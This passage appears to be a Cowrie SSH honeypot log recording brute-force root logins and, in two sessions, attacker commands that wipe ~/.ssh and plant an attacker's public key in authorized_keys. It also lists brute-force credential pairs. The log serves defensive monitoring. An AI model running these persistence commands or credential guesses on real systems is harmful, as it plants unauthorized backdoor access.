{"eventid":"cowrie.login.success","username":"root","password":"qazQAZ123!@#","message":"login attempt [root/qazQAZ123!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:34.512439Z","src_ip":"103.67.80.61","session":"a18c1d108bbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:35.010633Z","src_ip":"103.67.80.61","session":"a18c1d108bbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:35.014030Z","src_ip":"103.67.80.61","session":"a18c1d108bbb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:35.017765Z","src_ip":"103.67.80.61","session":"a18c1d108bbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:35.255088Z","src_ip":"103.67.80.61","session":"a18c1d108bbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:35.868382Z","src_ip":"103.67.80.61","session":"a18c1d108bbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:35.871652Z","src_ip":"103.67.80.61","session":"a18c1d108bbb","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:36.111142Z","src_ip":"103.67.80.61","session":"a18c1d108bbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:36.115168Z","src_ip":"103.67.80.61","session":"a18c1d108bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.80.61","src_port":35608,"dst_ip":"159.203.135.109","dst_port":22,"session":"59ad603131e9","protocol":"ssh","message":"New connection: 103.67.80.61:35608 (159.203.135.109:22) [session: 59ad603131e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:36.350826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:36.354988Z","src_ip":"103.67.80.61","session":"59ad603131e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:36.596885Z","src_ip":"103.67.80.61","session":"59ad603131e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:37.590723Z","src_ip":"103.67.80.61","session":"59ad603131e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:38.834516Z","src_ip":"103.67.80.61","session":"59ad603131e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.80.61","src_port":35616,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bb54e3fc218","protocol":"ssh","message":"New connection: 103.67.80.61:35616 (159.203.135.109:22) [session: 1bb54e3fc218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:39.071270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:39.075209Z","src_ip":"103.67.80.61","session":"1bb54e3fc218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:39.314791Z","src_ip":"103.67.80.61","session":"1bb54e3fc218","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:40.311270Z","src_ip":"103.67.80.61","session":"1bb54e3fc218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:40.550052Z","src_ip":"103.67.80.61","session":"a18c1d108bbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:31:40.555113Z","src_ip":"103.67.80.61","session":"1bb54e3fc218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":41940,"dst_ip":"10.17.0.5","dst_port":22,"session":"d946e7b7362c","protocol":"ssh","message":"New connection: 103.78.2.212:41940 (10.17.0.5:22) [session: d946e7b7362c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:16.619791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:16.624082Z","src_ip":"103.78.2.212","session":"d946e7b7362c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:16.876538Z","src_ip":"103.78.2.212","session":"d946e7b7362c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"123","message":"login attempt [omm/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:17.923387Z","src_ip":"103.78.2.212","session":"d946e7b7362c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":53216,"dst_ip":"10.17.0.5","dst_port":22,"session":"5096f6058dc4","protocol":"ssh","message":"New connection: 103.82.92.202:53216 (10.17.0.5:22) [session: 5096f6058dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:18.744915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:18.748687Z","src_ip":"103.82.92.202","session":"5096f6058dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:18.989508Z","src_ip":"103.82.92.202","session":"5096f6058dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:19.179077Z","src_ip":"103.78.2.212","session":"d946e7b7362c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"12345","message":"login attempt [system/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:19.983193Z","src_ip":"103.82.92.202","session":"5096f6058dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:21.225766Z","src_ip":"103.82.92.202","session":"5096f6058dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.211.185","src_port":43144,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffe006ee0472","protocol":"ssh","message":"New connection: 103.13.211.185:43144 (159.203.135.109:22) [session: ffe006ee0472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:29.521633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:29.527711Z","src_ip":"103.13.211.185","session":"ffe006ee0472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:29.623622Z","src_ip":"103.13.211.185","session":"ffe006ee0472","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qazQAZ123!@#","message":"login attempt [root/qazQAZ123!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:30.022918Z","src_ip":"103.13.211.185","session":"ffe006ee0472","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:30.265619Z","src_ip":"103.13.211.185","session":"ffe006ee0472","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:30.268834Z","src_ip":"103.13.211.185","session":"ffe006ee0472","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:30.272831Z","src_ip":"103.13.211.185","session":"ffe006ee0472","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:30.422389Z","src_ip":"103.13.211.185","session":"ffe006ee0472","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:30.660636Z","src_ip":"103.13.211.185","session":"ffe006ee0472","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:30.662841Z","src_ip":"103.13.211.185","session":"ffe006ee0472","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:30.823585Z","src_ip":"103.13.211.185","session":"ffe006ee0472","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:30.827078Z","src_ip":"103.13.211.185","session":"ffe006ee0472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.211.185","src_port":43156,"dst_ip":"159.203.135.109","dst_port":22,"session":"f65a3e695737","protocol":"ssh","message":"New connection: 103.13.211.185:43156 (159.203.135.109:22) [session: f65a3e695737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:30.920905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:32:30.925452Z","src_ip":"103.13.211.185","session":"f65a3e695737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@open